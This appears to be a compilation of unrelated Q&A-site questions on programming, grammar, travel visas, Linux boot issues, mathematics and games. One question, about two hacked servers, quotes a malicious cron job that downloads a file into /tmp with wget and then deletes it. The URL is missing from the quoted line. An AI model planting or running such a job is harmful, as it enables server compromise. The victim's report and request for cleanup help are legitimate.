I have this code which I cannot understand. In the beginning you can see two identical Strings, and when I compare them with use of operator == it says it is true, same as equals() method, but when I create two identical strings during runtime operator == says false. Why is this happening ?  Does it mean that when I hardcode identical strings they are placed in the same position in the memory and both references point to it? I found similar , but there were no explicit answer.   public class StringTesting {     public static void main(String[] args){         String string1 = "hello";                   //\                                                     // } same place in the memory ?         String string2 = "hello";                   ///          System.out.println(string1 == string2);     //true         System.out.println(string1.equals(string2));      //true          String string3 = "hey";         String string4 = "he";          System.out.println(string3 == string4);          //false         System.out.println(string3.equals(string4));     //false          string4 += "y";          System.out.println(string3 == string4);          //false ????         System.out.println(string3.equals(string4));     //true          System.out.println(string3 + " " + string4);      //hey hey     } }


In the following passage, is "These are a piece" grammatically incorrect? It feels odd to change it to "Theses are pieces" but that would seem more consistent. "The word politics may conjure images of capital buildings, government officials, and language steeped in legal jargon. These are a piece of our politics, but fundamentally politics is the activity shaping the way we organize our shared life together. To shape our shared life in a way that is truly just and peaceful we must bring our full selves. Only a politics steeped in love can breathe life into law. When we engage in passionate politics, our politics will become less about legal structures and more about the people inside of them. The question we ought to ask is then: in what direction will we point our love?"


What's wrong with saying "Can I have a ketchup?"

My friend corrected me that asking "Can I have a ketchup?" instead of "Can I get some ketchup?" It sounds wrong and not native.  I understand that ketchup is not countable, but since it's a fixed size, I thought it'll be okay to say it like that.  Like if you were to order a glass of Coke at a restaurant, which one sounds more native and are there any that sounds grammatically wrong?     Can I have a Coke?    Can I have some Coke?    Can I have a glass of Coke?    Can I have Coke?   And what if you were to pick a can of soda instead of a glass of soda?  And would you say "I want to order a drink" or "I want to order drink"?


C# TCP Client sends a message, but Server is not receiving the message

This is the error :  **     Exception thrown: 'System.InvalidOperationException' in   System.Windows.Forms.dll Additional information: Cross-thread   operation not valid: Control 'displayText' accessed from a thread   other than the thread it was created on.   **  I was created multi threaded client and server application using on C#. I was researched about this error but I could not find any relevant answer. I know this is comes when two or more threads started on the program...But my server side has one thread...I don't know why this is comes..........  Here is my Server side:          private void Handler()         {             try {                   byte[] b = new byte[100];                 int k = s.Read(b, 0, b.Length);                  //int k = s.Receive(b);                    string szReceived = Encoding.ASCII.GetString(b,0,k);                 //If the data to be converted is available only in sequential blocks (such as data read from a stream) or if the amount of data is so large that it needs to be divided into smaller blocks,                   while (ServerRunning)                 {                     string ConcatString = "";                     for (int i = 0; i < k; i++)                     {                          char n = Convert.ToChar(b[i]);                         string chars = Convert.ToString(n);                         ConcatString = ConcatString + chars;                      }                      if (b[0] == '$')                     {                         displayText.AppendText("\nPrivate Message");                         //MessageBox.Show("\nPrivate Message" + Environment.NewLine);                     }                     else                     {                         displayText.AppendText("\n" + ConcatString);                         //MessageBox.Show(ConcatString + Environment.NewLine);                     }                      //Encoding is the process of transforming a set of Unicode characters into a sequence of bytes and using new instance                     ASCIIEncoding asen = new ASCIIEncoding();                      //s.Send(asen.GetBytes("The string was recieved by the server." + Environment.NewLine));                      displayText.AppendText("\n" + ConcatString);                     /* clean up */                     //*                    // k = s.Receive(b);                     s.Close();                     client.Close();                     //MessageBox.Show("Recieved..." + Environment.NewLine);                   }             }             catch(Exception ex)             {                 MessageBox.Show("Error ...." + ex);             }         }   I am new to Socket Programming, but I was researched each and every code segment and experimented the code in several times.. Still can't figure out what exactly I missed in this program...  So please help me to solve this...I will be appreciated very much... Thanks..


do I need to reapply a schengen visa to a different country ?

I have a schengen visa issued by the Netherlands embassy when I was travelling to Holland... And it's valid for a year.. I now want to travel to Spain and wondering if I can just fly direct .. Or do I need to apply for a new visa ?


I've been tinkering with a css only dropdown menu example from W3C site: .  More precisely, I've switched several tags  with a list of tag . So it was :
       Link 1       Link 2       Link 3
   But now it is :

Link 1

Link 2

Link 3

   Several problems arose because of default list behaviour, the css rules meant to overwrite that said behaviour and the tentative to get some other different properties.   I've solved these problems but all this brings me to the question : in the case of creating a nav bar, why should I use a list at all ? Is there any benefit ?


Grub menu working but hidden, can't make it visible

after upgrading to 19.04 the Grub menu have become hidden. It still works and I can boot to both Windows 10 and Ubuntu by blindly finding the entry and pressing enter. I have tried to edit the /etc/default/grub and running sudo update-grub afterward but no change. Here is how it looks now:  # If you change this file, run 'update-grub' afterwards to update # /boot/grub/grub.cfg. # For full documentation of the options in this file, see: #   info -f grub -n 'Simple configuration'  GRUB_DEFAULT=0 GRUB_TIMEOUT=10 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX_DEFAULT="quiet splash" GRUB_CMDLINE_LINUX="" GRUB_TIMEOUT_STYLE=menu GRUB_HIDDEN_TIMEOUT_QUIET=false  # Uncomment to enable BadRAM filtering, modify to suit your needs # This works with Linux (no patch required) and with any kernel that obtains # the memory map information from GRUB (GNU Mach, kernel of FreeBSD ...) #GRUB_BADRAM="0x01234567,0xfefefefe,0x89abcdef,0xefefefef"  # Uncomment to disable graphical terminal (grub-pc only) #GRUB_TERMINAL=console  # The resolution used on graphical terminal # note that you can use only modes which your graphic card supports via VBE # you can see them in real GRUB with the command `vbeinfo' #GRUB_GFXMODE=640x480  # Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux #GRUB_DISABLE_LINUX_UUID=true  # Uncomment to disable generation of recovery mode menu entries #GRUB_DISABLE_RECOVERY="true"  # Uncomment to get a beep at grub start #GRUB_INIT_TUNE="480 440 1"   I can't use either Shift or Esc to make it visible too. After pressing either of these, Grub doesn't work anymore and I need to turn my laptop off and on in order to boot.  Edit: Not sure if it helps or not, but I just realized that if I go to the BIOS when I exit BIOS the grub menu shows up with no problem. The next time I boot, the grub menu is invisible again.


a question about compact set, how to prove there exists f(y)=y

Let (X,p) be a compact metric space.Suppose that f X->X is a function such that, for all $x_1$,$x_2$ $\in$X, if $x_1\neq x_2$ then p(f($x_1$),f($x_2$))<$p($x1$,$x2$)$. Prove that there exists a unique point y which in X such that f(y)=y. (there is a hint below the question:Consider the function g:X->R defined by setting g(x)=p(x,f(x)).)  this is my thought: I know g(X) should be a closed and bounded set in the real numbers, since X is compact. so m<=g(X)<=M, if m=0, it's obvious that there exists a x in X such that f(x)=x, but if m>0, I want to prove if m>0, then X cannot be a compact set, I am trying to find an open covering which there are no finite open sets which can cover X. If I can find such an open covering, then I think I will finish the question, but I don't know how to find it. Can someone help me to find it. Or, can someone have other methods to solve this question? I am struggling with it, and have no idea how to continue? Hope someone can help me solve this question!


how determine the RC time constant in PWM digital to analog low-pass filter?

I 'm looking for the best RC time constant and its reason in a PWM to convert digital signal to analog based on duty-cycle and frequency and other parameters. PWM frequency is 10 kHz.


Real time updates get lost when navigating back to a page

I love the  we have now, since my F5 key was starting to wear out.  There's one scenario though that still makes me refresh manually. I'll illustrate for questions:  While looking at , suddenly banner reading     1 question with new activity   appears. I click it, and the most recently active questions, Question B, appears on top of the other questions:  Question B Question A ...   I open a question that looks interesting. After reading it, I navigate back, and Question B disappeared from the list.  That would be alright if they came back with the next real time update. Sure enough, the banner reading     1 question with new activity   pops up after a few seconds. To my surprise, now I have  Question C Question A ...   and Question B went to limbo until I refresh the page.  Real time updates to answers, comments and edits behave similarly.


When does a target know it's under the effects of a charm/enchantment spell?

In 5th Edition which spells, like Suggestion, are not noticable, and which are noticeable by the target and/or nearby onlookers? Are there differences if a target fails or succeeds on a save roll? I noticed only a few Enchantment spells mention a comment on it, like 'Charm Person' or 'Friends'.     Currently playing a Knowledge Domain Cleric with a different GM; please expand the answer to include Channel Divinity: Read Thoughts/Suggestion ability & spell combination. (The cleric ability which allows Suggestion to succeed automatically).    I'm Hungarian and very new to 5th edition.


How to solve $\int_{-\infty}^{\infty}\frac{\sin^3 x}{x^3}dx$?

The hint is to use integration by parts, but I really don't see how to integrate by parts here.      $$\int_{-\infty}^{\infty}\frac{\sin^3 x}{x^3}dx$$   This is a question from a complex analysis class, so I thought I would use something like semicircular contour.   Any help will be appreciated. Thanks!


Cannot log in to Stack Overflow with IE10

I originally tried to update the issue that is , which I'm also having. Unfortunately that edit got rejected, so I guess I have to write my own question.  When I try to log in to Stack Overflow on my newly installed Windows 8 machine, nothing happens. I can click on the OpenID provider buttons, but the page is not redirected. In the background, a JavaScript exception occurs.  The issue is being caused because a JavaScript tries to access window.localStorage, but this raises an exception:     openid-jquery.js, line 9 character 73   SCRIPT5: Access is denied.   Most likely, an exception when trying to access this property should be treated as if local storage is not supported by the browser at all.  What is causing the access to be denied, seems to be the Protected Mode option in the browser options. This is enabled by default on my system:    If this doesn't give a sufficient repro case, the problem might be reproduced , however this is not what is happening on my system. Process Monitor does not show any failing file access, and Enhanced Protected Mode is not enabled.  Obviously, I do not run my browser as Administrator by default (nor do I want to), but doing so would allow the login, regardless of this checkbox.  I also have another Windows 8 machine at home, for which it works out of the box. On my work Win8 Enterprise machine (on which I did not enable compatibility view), it does not.


Given continuous $f$ and $g$, there exists $c \in (a,b)$ such that $\int_{a}^{c} f(x) \ \mathrm dx = \int_{c}^{b} g(x) \ \mathrm dx$

If $f,g : [a,b] \to (0,\infty)$ are continuous functions, prove that there exists $c \in (a,b)$ such that: $$\int_{a}^{c} f(x) \ \mathrm dx = \int_{c}^{b} g(x) \ \mathrm dx$$


Integration of elementary rational fractions

$$\int{\frac{Mx+N}{x^2+px+q}}dx$$  When all the coefficients are given, it can be easily solved using substitution but I have no idea how to find a solution in a standard form.  What are the first steps?


Is only Sleep Mode good for my MacBook Pro?

I'm a web designer and I haven't gotten any chance to shut down my macbook pro often with my busy schedules. When I'm not working (sometimes on weekends), unfortunately I forget to shut down my Mac for 8-10 hours! However, yet I can charge the Mac after its battery shows 15%.  So, is being always in sleep mode a weakening it's battery life? and does it hurt the logic board, honestly?


If I tap a land, end my turn, and then play an instant allowing me to untap it again, can I tap that land for more mana, and when does that mana get used up. Basically, if I tap mana on my opponents turn, when does it leave the mana pool.


excel 2010 how to identify if a word is present in a group of cells or a row

I would like to use a formula to identify if a cell in a group of cell contains a specific word.  Example, I'd like to search if a cell has the content X  The formula's response could be 1 if found, 0 if not found.


I want to know the meaning of static in my file. Everytime, I come across an error and then find out that the word static is missed. Can you please explain when and where should the word static be used.  Here, for example in the code, even if I remove static from the variable, it shows error.   Is, it static class, so it has to be static variable ??  public class TestJavaServer {      static String xCordinate;      public static void main(String[] args)     {                 readFromFile();         }     public static void readFromFile() throws IOException     {                        xCordinate ="something";        }


"80% of what I listen to is/are K-pop groups"

Which one is correct? The "80% of [it]" part is what has me confused.  a. 80% of what I listen to is K-pop groups.  b. 80% of what I listen to are K-pop groups.  Should I perhaps just say "K-pop groups are 80% of what I listen to"?


Can I clean these two hacked servers withour reinstalling?

I've got two dedicated servers that some days ago started to send me notifications about unknown cron jobs running.  On both servers I've got secondary accounts for my websites and the hacker has modified the cron job for those accounts, not for root. So I think "maybe" they have only got limited access.  Both are trying to run the following: cd /tmp;wget  -O  abc.txt;rm -f abc*  Cronjob output from first server:   Cronjob output from second server:   The weird thing is that both servers seem hacked at the same time and by using the same method.  Did anyone had exactly this kind of hack that can give me ideas on how did he got in and if I can remove it without reinstalling..?  There are plenty of websites on the servers, and the first one uses about 500GB that would take a lot to move somewhere else and reinstall.  Thanks in advance!


Accidently disabled all services via msconfig

I was trying to debug explorer hangs and accidently disabled all services via msconfig. Now the Windows 10 boots up but there is no login screen. Trying to get into safe mode but shift+restart does not work.   How can I restore my system back to working condition?


Parse DateTime with special format using C#

I would like to parse a datetime string with a special format.  Unfortunately I get an error. The datetime string is like the following: "08012020 21:17:05".  I tried the following code sample:  if (DateTime.TryParse(strDateTime, out dtDateTime))         Print(strDateTime + " --> " + dtDateTime);    else        Print("Unable to parse DateTime " + strDateTime );  Any ideas how to parse the special format?  Gerik


Why there are Arabic Alphabets instead of English in this output? It happens whenever the output is about some system files, but why not English?